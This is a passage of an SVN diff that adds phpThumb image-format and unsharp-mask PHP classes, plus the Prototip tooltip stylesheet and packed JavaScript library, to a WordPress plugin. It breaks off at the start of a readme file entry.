+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.ico.php	(revision 44)
@@ -0,0 +1,119 @@
+<?php
+//////////////////////////////////////////////////////////////
+///  phpThumb() by James Heinrich <info@silisoftware.com>   //
+//        available at http://phpthumb.sourceforge.net     ///
+//////////////////////////////////////////////////////////////
+///                                                         //
+// phpthumb.ico.php - .ICO output format functions          //
+//                                                         ///
+//////////////////////////////////////////////////////////////
+
+
+class phpthumb_ico {
+
+	function phpthumb_ico() {
+		return true;
+	}
+
+
+	function GD2ICOstring(&$gd_image_array) {
+		foreach ($gd_image_array as $key => $gd_image) {
+
+			$ImageWidths[$key]  = ImageSX($gd_image);
+			$ImageHeights[$key] = ImageSY($gd_image);
+	    	$bpp[$key]          = ImageIsTrueColor($gd_image) ? 32 : 24;
+	    	$totalcolors[$key]  = ImageColorsTotal($gd_image);
+
+			$icXOR[$key] = '';
+			for ($y = $ImageHeights[$key] - 1; $y >= 0; $y--) {
+				for ($x = 0; $x < $ImageWidths[$key]; $x++) {
+					$argb = phpthumb_functions::GetPixelColor($gd_image, $x, $y);
+					$a = round(255 * ((127 - $argb['alpha']) / 127));
+					$r = $argb['red'];
+					$g = $argb['green'];
+					$b = $argb['blue'];
+
+					if ($bpp[$key] == 32) {
+						$icXOR[$key] .= chr($b).chr($g).chr($r).chr($a);
+					} elseif ($bpp[$key] == 24) {
+						$icXOR[$key] .= chr($b).chr($g).chr($r);
+					}
+
+					if ($a < 128) {
+						@$icANDmask[$key][$y] .= '1';
+					} else {
+						@$icANDmask[$key][$y] .= '0';
+					}
+				}
+				// mask bits are 32-bit aligned per scanline
+				while (strlen($icANDmask[$key][$y]) % 32) {
+					$icANDmask[$key][$y] .= '0';
+				}
+			}
+			$icAND[$key] = '';
+			foreach ($icANDmask[$key] as $y => $scanlinemaskbits) {
+				for ($i = 0; $i < strlen($scanlinemaskbits); $i += 8) {
+					$icAND[$key] .= chr(bindec(str_pad(substr($scanlinemaskbits, $i, 8), 8, '0', STR_PAD_LEFT)));
+				}
+			}
+
+		}
+
+	    foreach ($gd_image_array as $key => $gd_image) {
+			$biSizeImage = $ImageWidths[$key] * $ImageHeights[$key] * ($bpp[$key] / 8);
+
+	    	// BITMAPINFOHEADER - 40 bytes
+			$BitmapInfoHeader[$key]  = '';
+			$BitmapInfoHeader[$key] .= "\x28\x00\x00\x00";                              // DWORD  biSize;
+			$BitmapInfoHeader[$key] .= phpthumb_functions::LittleEndian2String($ImageWidths[$key], 4);      // LONG   biWidth;
+			// The biHeight member specifies the combined
+			// height of the XOR and AND masks.
+			$BitmapInfoHeader[$key] .= phpthumb_functions::LittleEndian2String($ImageHeights[$key] * 2, 4); // LONG   biHeight;
+	    	$BitmapInfoHeader[$key] .= "\x01\x00";                                      // WORD   biPlanes;
+	   		$BitmapInfoHeader[$key] .= chr($bpp[$key])."\x00";                          // wBitCount;
+			$BitmapInfoHeader[$key] .= "\x00\x00\x00\x00";                              // DWORD  biCompression;
+			$BitmapInfoHeader[$key] .= phpthumb_functions::LittleEndian2String($biSizeImage, 4);            // DWORD  biSizeImage;
+	    	$BitmapInfoHeader[$key] .= "\x00\x00\x00\x00";                              // LONG   biXPelsPerMeter;
+	    	$BitmapInfoHeader[$key] .= "\x00\x00\x00\x00";                              // LONG   biYPelsPerMeter;
+	    	$BitmapInfoHeader[$key] .= "\x00\x00\x00\x00";                              // DWORD  biClrUsed;
+	    	$BitmapInfoHeader[$key] .= "\x00\x00\x00\x00";                              // DWORD  biClrImportant;
+		}
+
+
+		$icondata  = "\x00\x00";                                      // idReserved;   // Reserved (must be 0)
+		$icondata .= "\x01\x00";                                      // idType;       // Resource Type (1 for icons)
+		$icondata .= phpthumb_functions::LittleEndian2String(count($gd_image_array), 2);  // idCount;      // How many images?
+
+		$dwImageOffset = 6 + (count($gd_image_array) * 16);
+		foreach ($gd_image_array as $key => $gd_image) {
+	    	// ICONDIRENTRY   idEntries[1]; // An entry for each image (idCount of 'em)
+
+	    	$icondata .= chr($ImageWidths[$key]);                     // bWidth;          // Width, in pixels, of the image
+	    	$icondata .= chr($ImageHeights[$key]);                    // bHeight;         // Height, in pixels, of the image
+	    	$icondata .= chr($totalcolors[$key]);                     // bColorCount;     // Number of colors in image (0 if >=8bpp)
+	    	$icondata .= "\x00";                                      // bReserved;       // Reserved ( must be 0)
+
+	    	$icondata .= "\x01\x00";                                  // wPlanes;         // Color Planes
+			$icondata .= chr($bpp[$key])."\x00";                      // wBitCount;       // Bits per pixel
+
+			$dwBytesInRes = 40 + strlen($icXOR[$key]) + strlen($icAND[$key]);
+			$icondata .= phpthumb_functions::LittleEndian2String($dwBytesInRes, 4);       // dwBytesInRes;    // How many bytes in this resource?
+
+		    $icondata .= phpthumb_functions::LittleEndian2String($dwImageOffset, 4);      // dwImageOffset;   // Where in the file is this image?
+			$dwImageOffset += strlen($BitmapInfoHeader[$key]);
+			$dwImageOffset += strlen($icXOR[$key]);
+			$dwImageOffset += strlen($icAND[$key]);
+	    }
+
+	    foreach ($gd_image_array as $key => $gd_image) {
+			$icondata .= $BitmapInfoHeader[$key];
+			$icondata .= $icXOR[$key];
+			$icondata .= $icAND[$key];
+	    }
+
+	    return $icondata;
+	}
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.unsharp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.unsharp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.unsharp.php	(revision 44)
@@ -0,0 +1,162 @@
+<?php
+//////////////////////////////////////////////////////////////
+////                                                      ////
+////              p h p U n s h a r p M a s k             ////
+////                                                      ////
+////    Unsharp mask algorithm by Torstein Hønsi 2003.    ////
+////               thoensi_at_netcom_dot_no               ////
+////               Please leave this notice.              ////
+////                                                      ////
+//////////////////////////////////////////////////////////////
+/// From: http://vikjavev.no/hovudsida/umtestside.php       //
+//                                                          //
+//  Reformatted by James Heinrich <info@silisoftware.com>   //
+//  for use in phpThumb() on 3 February 2003.               //
+//                                                          //
+//  phpThumb() is found at http://phpthumb.sourceforge.net ///
+//////////////////////////////////////////////////////////////
+
+/*
+WARNING! Due to a known bug in PHP 4.3.2 this script is not working well in this version.
+The sharpened images get too dark. The bug is fixed in version 4.3.3.
+
+Unsharp masking is a traditional darkroom technique that has proven very suitable for
+digital imaging. The principle of unsharp masking is to create a blurred copy of the image
+and compare it to the underlying original. The difference in colour values
+between the two images is greatest for the pixels near sharp edges. When this
+difference is subtracted from the original image, the edges will be
+accentuated.
+
+The Amount parameter simply says how much of the effect you want. 100 is 'normal'.
+Radius is the radius of the blurring circle of the mask. 'Threshold' is the least
+difference in colour values that is allowed between the original and the mask. In practice
+this means that low-contrast areas of the picture are left unrendered whereas edges
+are treated normally. This is good for pictures of e.g. skin or blue skies.
+
+Any suggenstions for improvement of the algorithm, expecially regarding the speed
+and the roundoff errors in the Gaussian blur process, are welcome.
+*/
+
+class phpUnsharpMask {
+
+	function applyUnsharpMask(&$img, $amount, $radius, $threshold) {
+
+		// $img is an image that is already created within php using
+		// imgcreatetruecolor. No url! $img must be a truecolor image.
+
+		// Attempt to calibrate the parameters to Photoshop:
+		$amount = min($amount, 500);
+		$amount = $amount * 0.016;
+		if ($amount == 0) {
+			return true;
+		}
+
+		$radius = min($radius, 50);
+		$radius = $radius * 2;
+
+		$threshold = min($threshold, 255);
+
+		$radius = abs(round($radius)); 	// Only integers make sense.
+		if ($radius == 0) {
+			return true;
+		}
+
+		$w = ImageSX($img);
+		$h = ImageSY($img);
+		$imgCanvas  = ImageCreateTrueColor($w, $h);
+		$imgCanvas2 = ImageCreateTrueColor($w, $h);
+		ImageCopy($imgCanvas,  $img, 0, 0, 0, 0, $w, $h);
+		ImageCopy($imgCanvas2, $img, 0, 0, 0, 0, $w, $h);
+
+
+		$builtinFilterSucceeded = false;
+		if ($radius == 1) {
+			if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+				if (ImageFilter($imgCanvas, IMG_FILTER_GAUSSIAN_BLUR) && ImageFilter($imgCanvas2, IMG_FILTER_GAUSSIAN_BLUR)) {
+					$builtinFilterSucceeded = true;
+				}
+			}
+		}
+
+		if (!$builtinFilterSucceeded) {
+			$imgBlur  = ImageCreateTrueColor($w, $h);
+			$imgBlur2 = ImageCreateTrueColor($w, $h);
+
+			///////////////////////////
+			//
+			// Gaussian blur matrix:
+			//	1  2  1
+			//	2  4  2
+			//	1  2  1
+			//
+			///////////////////////////
+
+			// Move copies of the image around one pixel at the time and merge them with weight
+			// according to the matrix. The same matrix is simply repeated for higher radii.
+			for ($i = 0; $i < $radius; $i++)	{
+				ImageCopy     ($imgBlur, $imgCanvas, 0, 0, 1, 1, $w - 1, $h - 1);            // up left
+				ImageCopyMerge($imgBlur, $imgCanvas, 1, 1, 0, 0, $w,     $h,     50);        // down right
+				ImageCopyMerge($imgBlur, $imgCanvas, 0, 1, 1, 0, $w - 1, $h,     33.33333);  // down left
+				ImageCopyMerge($imgBlur, $imgCanvas, 1, 0, 0, 1, $w,     $h - 1, 25);        // up right
+				ImageCopyMerge($imgBlur, $imgCanvas, 0, 0, 1, 0, $w - 1, $h,     33.33333);  // left
+				ImageCopyMerge($imgBlur, $imgCanvas, 1, 0, 0, 0, $w,     $h,     25);        // right
+				ImageCopyMerge($imgBlur, $imgCanvas, 0, 0, 0, 1, $w,     $h - 1, 20 );       // up
+				ImageCopyMerge($imgBlur, $imgCanvas, 0, 1, 0, 0, $w,     $h,     16.666667); // down
+				ImageCopyMerge($imgBlur, $imgCanvas, 0, 0, 0, 0, $w,     $h,     50);        // center
+				ImageCopy     ($imgCanvas, $imgBlur, 0, 0, 0, 0, $w,     $h);
+
+				// During the loop above the blurred copy darkens, possibly due to a roundoff
+				// error. Therefore the sharp picture has to go through the same loop to
+				// produce a similar image for comparison. This is not a good thing, as processing
+				// time increases heavily.
+				ImageCopy     ($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h);
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 50);
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 33.33333);
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 25);
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 33.33333);
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 25);
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 20 );
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 16.666667);
+				ImageCopyMerge($imgBlur2, $imgCanvas2, 0, 0, 0, 0, $w, $h, 50);
+				ImageCopy     ($imgCanvas2, $imgBlur2, 0, 0, 0, 0, $w, $h);
+			}
+			ImageDestroy($imgBlur);
+			ImageDestroy($imgBlur2);
+		}
+
+		// Calculate the difference between the blurred pixels and the original
+		// and set the pixels
+		for ($x = 0; $x < $w; $x++)	{ // each row
+			for ($y = 0; $y < $h; $y++)	{ // each pixel
+
+				$rgbOrig = ImageColorAt($imgCanvas2, $x, $y);
+				$rOrig = (($rgbOrig >> 16) & 0xFF);
+				$gOrig = (($rgbOrig >>  8) & 0xFF);
+				$bOrig =  ($rgbOrig        & 0xFF);
+
+				$rgbBlur = ImageColorAt($imgCanvas, $x, $y);
+				$rBlur = (($rgbBlur >> 16) & 0xFF);
+				$gBlur = (($rgbBlur >>  8) & 0xFF);
+				$bBlur =  ($rgbBlur        & 0xFF);
+
+				// When the masked pixels differ less from the original
+				// than the threshold specifies, they are set to their original value.
+				$rNew = (abs($rOrig - $rBlur) >= $threshold) ? max(0, min(255, ($amount * ($rOrig - $rBlur)) + $rOrig)) : $rOrig;
+				$gNew = (abs($gOrig - $gBlur) >= $threshold) ? max(0, min(255, ($amount * ($gOrig - $gBlur)) + $gOrig)) : $gOrig;
+				$bNew = (abs($bOrig - $bBlur) >= $threshold) ? max(0, min(255, ($amount * ($bOrig - $bBlur)) + $bOrig)) : $bOrig;
+
+				if (($rOrig != $rNew) || ($gOrig != $gNew) || ($bOrig != $bNew)) {
+					$pixCol = ImageColorAllocate($img, $rNew, $gNew, $bNew);
+					ImageSetPixel($img, $x, $y, $pixCol);
+				}
+			}
+		}
+		ImageDestroy($imgCanvas);
+		ImageDestroy($imgCanvas2);
+
+		return true;
+	}
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/prototip/css/prototip.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/prototip/css/prototip.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/prototip/css/prototip.css	(revision 44)
@@ -0,0 +1,67 @@
+/* prototip.css : http://www.nickstakenburg.com/projects/prototip */
+.prototip { position: absolute; }
+.prototip .effectWrapper,
+.prototip .tooltip,
+.prototip .toolbar,
+.prototip .toolbar .title {	position: relative; }
+.prototip .content { clear: both; }
+.prototip .toolbar a.close {
+	position: relative;
+	text-decoration: none;
+	float: right;
+	width: 15px;
+	height: 15px;
+	background: transparent url(close.gif);
+	display: block;
+	line-height: 0;
+	font-size: 0px;
+	border: 0;
+}
+.prototip .toolbar a.close:hover { background: transparent url(close_hover.gif); }
+
+.prototipLoader {
+	position: absolute;
+	top: -1000px;
+	left: -1000px;
+	background: url(prototip_loader.gif);
+	height: 14px;
+	width: 14px;
+}
+
+.iframeShim { 
+	position: absolute;
+	border: 0;
+	margin: 0;	
+    padding: 0;
+    background: none;
+}
+
+/* Prototip styles */
+.prototip .default { width: 150px; color: #fff; }
+.prototip .default .toolbar { background: #0F6788; font: italic 17px Georgia, serif; }
+.prototip .default .title { padding: 5px; }
+.prototip .default .content { background: dodgerblue; font: 11px Arial, Helvetica, sans-serif; padding: 5px;}
+
+.prototip .pinktip { border: 5px solid #a1a1a1; }
+.prototip .pinktip .toolbar { background: #ff1e53; color: #fff; font: italic 17px Georgia, serif; }
+.prototip .pinktip .title { padding: 5px; }
+.prototip .pinktip .content { background: #fff; color: #555555; font: 11px Arial, Helvetica, sans-serif; padding: 5px; }
+
+.prototip .darktip { width: 250px; border: 5px solid #a1a1a1; }
+.prototip .darktip .toolbar { background: #606060; color: #fff; font: italic 17px Georgia, serif; }
+.prototip .darktip .toolbar a.close { background: url(close_hover.gif);}
+.prototip .darktip .toolbar a.close:hover { background: url(close.gif);}
+.prototip .darktip .title { padding: 5px;}
+.prototip .darktip .content { background: #808080; color: #fff; font: 11px Arial, Helvetica, sans-serif; padding: 5px; }
+
+.prototip .silver { width: 300px; border: 5px solid #cccccc; color: #fff; font: 11px Arial, Helvetica, sans-serif;}
+.prototip .silver .toolbar { background: #2e2e2e; color: #fff; font-weight: bold; }
+.prototip .silver .toolbar a.close:hover { background: url(close_hover_red.gif);}
+.prototip .silver .title { padding: 5px; }
+.prototip .silver .content { background: #fff; color: #666666; padding: 5px;}
+
+.protoClassic { width: 300px; border: 5px solid #8c939c; }
+.protoClassic .toolbar { background: #96b8e2 url(classic_toolbar.gif) top left repeat-y; font-weight: bold; color: #fff;}
+.protoClassic .toolbar a.close:hover { background: url(close_hover_red.gif);}
+.protoClassic .title { padding: 5px; }
+.protoClassic .content { background: #fff; color: #333333;font: 11px Arial, Helvetica, sans-serif; padding: 5px; }
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/prototip/js/prototip.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/prototip/js/prototip.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/prototip/js/prototip.js	(revision 44)
@@ -0,0 +1,22 @@
+//  Prototip 1.3.5.1 - 18-05-2008
+//  Copyright (c) 2008 Nick Stakenburg (http://www.nickstakenburg.com)
+//
+//  Licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License
+//  http://creativecommons.org/licenses/by-nc-nd/3.0/
+
+//  More information on this project:
+//  http://www.nickstakenburg.com/projects/prototip/
+
+var Prototip = {
+  Version: '1.3.5.1'
+};
+
+var Tips = {
+  options: {
+    className: 'default',      // default class for all tips
+	closeButtons: false,       // true | false
+	zIndex: 6000               // raise if required
+  }
+};
+
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('q.1z(z,{3R:"1.6.0.2",3P:"1.8.1",2N:c(){5.28("25");f.24();t.10(2m,"2j",5.2j)},28:c(A){b((3u 2m[A]=="3s")||(5.2i(2m[A].3k)<5.2i(5["2z"+A]))){3e("37 4c "+A+" >= "+5["2z"+A]);}},2i:c(A){i B=A.40(/31.*|\\./g,"");B=3T(B+"0".3S(4-B.1Z));r A.3J("31")>-1?B-1:B},1H:c(A){b(!25.2T.2R){A=A.1V(c(E,D){i C=q.2f(5)?5:5.e,B=D.3q;b(B!=C&&!$A(C.2E("*")).3m(B)){E(D)}})}r A},1C:c(B){B=$(B);i A=B.3j(),C=[],E=[];A.1p(B);A.20(c(F){b(F!=B&&F.s()){r}C.1p(F);E.1p({1v:F.1u("1v"),1g:F.1u("1g"),Y:F.1u("Y")});F.j({1v:"47",1g:"44",Y:"s"})});i D={N:B.3Z,P:B.3V};C.20(c(G,F){G.j(E[F])});r D},2j:c(){f.30()}});q.1z(f,{Z:[],s:[],24:c(){5.23=5.13},19:(c(A){r{1i:(A?"1N":"1i"),X:(A?"1J":"X"),1N:(A?"1N":"1i"),1J:(A?"1J":"X")}})(25.2T.2R),1f:(c(B){i A=v 3K("3I ([\\\\d.]+)").3H(B);r A?(3E(A[1])<7):U})(3z.3y),2O:c(A){5.Z.1p(A)},1h:c(A){i B=5.Z.3v(c(C){r C.e==$(A)});b(B){B.2M();b(B.Q){B.h.1h();b(f.1f){B.17.1h()}}5.Z=5.Z.2I(B)}},30:c(){5.Z.20(c(A){5.1h(A.e)}.18(5))},2c:c(B){b(B.2e){r}b(5.s.1Z==0){5.23=5.9.13;1U(i A=0;A<5.Z.1Z;A++){5.Z[A].h.j({13:5.9.13})}}B.h.j({13:5.23++});b(B.k){B.k.j({13:5.23})}1U(i A=0;A<5.Z.1Z;A++){5.Z[A].2e=U}B.2e=1y},2Q:c(A){5.27(A);5.s.1p(A)},27:c(A){5.s=5.s.2I(A)},T:c(B,E){B=$(B),E=$(E);i I=q.1z({e:"2C",m:"3i",15:{x:0,y:0}},2X[2]||{});i D=E.2n();D.11+=I.15.x;D.V+=I.15.y;i C=E.38(),A=1I.1P.2w();D.11+=(-1*(C[0]-A[0]));D.V+=(-1*(C[1]-A[1]));i G={e:z.1C(B),m:z.1C(E)},H={e:q.2u(D),m:q.2u(D)};1U(i F 34 H){4a(I[F]){1r"48":H[F][0]+=G[F].N;1w;1r"46":H[F][0]+=(G[F].N/2);1w;1r"45":H[F][0]+=G[F].N;H[F][1]+=(G[F].P/2);1w;1r"2C":H[F][1]+=G[F].P;1w;1r"43":H[F][0]+=G[F].N;H[F][1]+=G[F].P;1w;1r"42":H[F][0]+=(G[F].N/2);H[F][1]+=G[F].P;1w;1r"41":H[F][1]+=(G[F].P/2);1w}}D.11+=-1*(H.e[0]-H.m[0]);D.V+=-1*(H.e[1]-H.m[1]);B.j({11:D.11+"1G",V:D.V+"1G"})}});f.24();i 3Y=3X.3W({24:c(C,D){5.e=$(C);f.1h(5.e);i A=(q.2q(D)||q.2f(D)),B=A?2X[2]||[]:D;5.1j=A?D:2p;5.9=q.1z({O:U,R:f.9.R,14:f.9.3U,1e:!(B.p&&B.p=="1D")?0.12:U,1O:0.3,S:U,1t:U,1s:"1J",T:B.T,15:B.T?{x:0,y:0}:{x:16,y:16},1m:B.T?1y:U,p:"21",m:5.e,u:U,1P:B.T?U:1y},B);5.m=$(5.9.m);b(5.9.O){5.9.O.9=q.1z({2o:25.3O},5.9.O.9||{})}5.2W();b(5.9.S){z.28("3N");5.1q={1g:"3M",3L:1,2l:5.h.2V()}}f.2O(5);5.2U()},2W:c(){5.h=v t("1c",{R:"1X"}).j({1v:"22",13:f.9.13});5.h.2V();b(f.1f){5.17=v t("3G",{R:"17",3F:"3D:U;",3C:0}).j({1v:"22",13:f.9.13-1,3A:0})}b(5.9.O){5.1L=5.1L.1V(5.2S)}5.1B=v t("1c",{R:"1j"});5.u=v t("1c",{R:"u"}).n();b(5.9.14||(5.9.1s.e&&5.9.1s.e=="14")){5.14=v t("a",{3x:"#",R:"2P"})}},2h:c(){b(f.1f){$(1I.26).W(5.17)}b(5.9.O){$(1I.26).W(5.k=v t("1c",{R:"3w"}).n())}i A="h";b(5.9.S){A="o";5.h.W(5.o=v t("1c",{R:"o"}))}5[A].W(5.Q=v t("1c",{R:"Q "+5.9.R}).W(5.1o=v t("1c",{R:"1o"}).W(5.u)));5.Q.W(5.1B).W(v t("1c").j("2L:2K"));$(1I.26).W(5.h);b(!5.9.O){5.1K({u:5.9.u,1j:5.1j})}},1K:c(E){i A=5.Q.1u("Y"),B=5.h.j("P:1x;N:1x;").1u("Y");[5.Q,5.h].1A("j","Y:2J;");5.1o.j("N: 1x;");b(5.9.S){5.o.j("P:1x;N:1x;")}b(E.u){5.u.l().1K(E.u);5.1o.l()}1n{b(!5.14){5.u.n();5.1o.n()}}b(q.2q(E.1j)||q.2f(E.1j)){5.1B.1K(E.1j).W(v t("1c").j("2L:2K;"))}i C={N:z.1C(5.h).N+"1G"},D=[5.h];b(5.9.S){D.1p(5.o)}b(f.1f){D.1p(5.17)}b(5.14){5.u.l().W({V:5.14});5.1o.l()}5.1o.j("N: 3t%;");C.P=2p;5.h.j({Y:B});5.Q.j({Y:A});D.1A("j",C)},2U:c(){5.2g=5.1L.1d(5);5.2H=5.n.1d(5);b(5.9.1m&&5.9.p=="21"){5.9.p="1i"}b(5.9.p==5.9.1s){5.1k=5.2G.1d(5);5.e.10(5.9.p,5.1k)}i C={e:5.1k?[]:[5.e],m:5.1k?[]:[5.m],1B:5.1k?[]:[5.h],14:[],22:[]};i A=5.9.1s.e;5.2d=A||(!5.9.1s?"22":"e");5.1l=C[5.2d];b(!5.1l&&A&&q.2q(A)){5.1l=5.1B.2E(A)}i D={1N:"1i",1J:"X"};$w("l n").20(c(H){i G=H.3r(),F=(5.9[H+"2F"].2s||5.9[H+"2F"]);5[H+"2Y"]=F;b(["1N","1J","1i","X"].3p(F)){5[H+"2Y"]=(f.19[F]||F);5["2s"+G]=z.1H(5["2s"+G])}}.18(5));b(!5.1k){5.e.10(5.9.p,5.2g)}b(5.1l){5.1l.1A("10",5.3o,5.2H)}b(!5.9.1m&&5.9.p=="1D"){5.1Q=5.1g.1d(5);5.e.10("21",5.1Q)}5.2D=5.n.1V(c(G,F){i E=F.3n(".2P");b(E){F.3l();E.3B();G(F)}}).1d(5);b(5.14){5.h.10("1D",5.2D)}b(5.9.p!="1D"&&(5.2d!="e")){5.1T=z.1H(c(){5.1b("l")}).1d(5);5.e.10(f.19.X,5.1T)}i B=[5.e,5.h];5.2b=z.1H(c(){f.2c(5);5.2k()}).1d(5);5.2a=z.1H(5.1t).1d(5);B.1A("10",f.19.1i,5.2b).1A("10",f.19.X,5.2a);b(5.9.O&&5.9.p!="1D"){5.1W=z.1H(5.2B).1d(5);5.e.10(f.19.X,5.1W)}},2M:c(){b(5.9.p==5.9.1s){5.e.1a(5.9.p,5.1k)}1n{5.e.1a(5.9.p,5.2g);b(5.1l){5.1l.1A("1a")}}b(5.1Q){5.e.1a("21",5.1Q)}b(5.1T){5.e.1a("X",5.1T)}5.h.1a();5.e.1a(f.19.1i,5.2b).1a(f.19.X,5.2a);b(5.1W){5.e.1a(f.19.X,5.1W)}},2S:c(C,B){b(!5.Q){5.2h()}5.1g(B);b(5.29){C(B);r}1n{b(5.1M){r}}i D={2A:{1S:1R.1S(B),1Y:1R.1Y(B)}};i A=q.2u(5.9.O.9);A.2o=A.2o.1V(c(F,E){5.1K({u:5.9.u,1j:E.3h});5.1g(D);b(5.k&&!5.k.s()){5.29=1y;5.1M=U;r}(c(){F(E);b(5.k&&5.k.s()){5.l()}5.1b("k");5.k.1h();5.29=1y;5.1M=U}.18(5)).1e(0.3)}.18(5));5.3g=t.l.1e(5.9.1e,5.k);5.h.n();5.1M=1y;(c(){5.3f=v 3Q.3d(5.9.O.3c,A)}.18(5)).1e(5.9.1e)},2B:c(){5.1b("k")},1L:c(A){b(!5.Q){5.2h()}b(!5.9.O){5.1g(A)}b(5.h.s()){r}5.1b("l");5.3b=5.l.18(5).1e(5.9.1e)},1b:c(A){b(5[A+"2Z"]){3a(5[A+"2Z"])}},l:c(){b(5.h.s()&&5.9.S!="39"){r}b(f.1f){5.17.l()}f.2Q(5.h);b(5.9.S){5.o.j({P:z.1C(5.o).P+"1G"});5.Q.n();5.o.n();5.h.l();b(5.1F){1E.2y.33(5.1q.2l).1h(5.1F)}5.1F=1E[1E.2x[5.9.S][0]](5.o,{36:t.l.35(5.Q),1O:5.9.1O,1q:5.1q,32:c(){5.o.j({P:"1x"});5.e.2r("1X:2v")}.18(5)})}1n{5.Q.l();5.h.l();5.e.2r("1X:2v")}},1t:c(A){b(5.9.O){b(5.k&&5.9.p!="1D"){5.k.n()}5.1b("O");5.1M=2p}b(!5.9.1t){r}5.2k();5.4b=5.n.18(5).1e(5.9.1t)},2k:c(){b(5.9.1t){5.1b("1t")}},n:c(){5.1b("l");5.1b("k");b(!5.h.s()){r}b(5.9.S){b(5.1F){1E.2y.33(5.1q.2l).1h(5.1F)}5.1F=1E[1E.2x[5.9.S][1]](5.o,{1O:5.9.1O,1q:5.1q,32:5.2t.18(5)})}1n{5.2t()}},2t:c(){b(f.1f){5.17.n()}b(5.k){5.k.n()}5.h.n();f.27(5.h);5.e.2r("1X:2J")},2G:c(A){b(5.h&&5.h.s()){5.n(A)}1n{5.1L(A)}},1g:c(A){f.2c(5);b(5.9.S){i D=5.o.1u("Y"),E=5.o.1u("1v");5.o.j({Y:"s"}).l()}b(5.9.T){i L=q.1z({15:5.9.15},{e:5.9.T.1B,m:5.9.T.m});f.T(5.h,5.m,L);b(5.k){f.T(5.k,5.m,L)}b(f.1f){f.T(5.17,5.m,L)}}1n{i G=5.m.2n(),K=z.1C(5.h),C=A.2A||{},H={11:((5.9.1m)?G[0]:C.1S||1R.1S(A))+5.9.15.x,V:((5.9.1m)?G[1]:C.1Y||1R.1Y(A))+5.9.15.y};b(!5.9.1m&&5.e!==5.m){i B=5.e.2n();H.11+=-1*(B[0]-G[0]);H.V+=-1*(B[1]-G[1])}b(!5.9.1m&&5.9.1P){i M=1I.1P.2w(),I=1I.1P.49(),F={11:"N",V:"P"};1U(i J 34 F){b((H[J]+K[F[J]]-M[J])>I[F[J]]){H[J]=H[J]-K[F[J]]-2*5.9.15[J=="V"?"x":"y"]}}}H={11:H.11+"1G",V:H.V+"1G"};5.h.j(H);b(5.k){5.k.j(H)}b(f.1f){5.17.j(H)}}b(5.9.S){5.o.j({Y:D,1v:E})}}});z.2N();',62,261,'|||||this||||options||if|function||element|Tips||wrapper|var|setStyle|loader|show|target|hide|effectWrapper|showOn|Object|return|visible|Element|title|new||||Prototip||||||||||||||width|ajax|height|tooltip|className|effect|hook|false|top|insert|mouseout|visibility|tips|observe|left||zIndex|closeButton|offset||iframeShim|bind|useEvent|stopObserving|clearTimer|div|bindAsEventListener|delay|fixIE|position|remove|mouseover|content|eventToggle|hideTargets|fixed|else|toolbar|push|queue|case|hideOn|hideAfter|getStyle|display|break|auto|true|extend|invoke|tip|getHiddenDimensions|click|Effect|activeEffect|px|capture|document|mouseleave|update|showDelayed|ajaxContentLoading|mouseenter|duration|viewport|eventPosition|Event|pointerX|eventCheckDelay|for|wrap|ajaxHideEvent|prototip|pointerY|length|each|mousemove|none|zIndexTop|initialize|Prototype|body|removeVisible|require|ajaxContentLoaded|activityLeave|activityEnter|raise|hideElement|highest|isElement|eventShow|build|convertVersionString|unload|cancelHideAfter|scope|window|cumulativeOffset|onComplete|null|isString|fire|event|afterHide|clone|shown|getScrollOffsets|PAIRS|Queues|REQUIRED_|ajaxPointer|ajaxHide|bottomLeft|buttonEvent|select|On|toggle|eventHide|without|hidden|both|clear|deactivate|start|add|close|addVisibile|IE|ajaxShow|Browser|activate|identify|setup|arguments|Action|Timer|removeAll|_|afterFinish|get|in|curry|beforeStart|Lightview|cumulativeScrollOffset|appear|clearTimeout|showTimer|url|Request|throw|ajaxTimer|loaderTimer|responseText|topLeft|ancestors|Version|stop|member|findElement|hideAction|include|relatedTarget|capitalize|undefined|100|typeof|find|prototipLoader|href|userAgent|navigator|opacity|blur|frameBorder|javascript|parseFloat|src|iframe|exec|MSIE|indexOf|RegExp|limit|end|Scriptaculous|emptyFunction|REQUIRED_Scriptaculous|Ajax|REQUIRED_Prototype|times|parseInt|closeButtons|clientHeight|create|Class|Tip|clientWidth|replace|leftMiddle|bottomMiddle|bottomRight|absolute|rightMiddle|topMiddle|block|topRight|getDimensions|switch|hideAfterTimer|requires'.split('|'),0,{}));
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/readme.txt
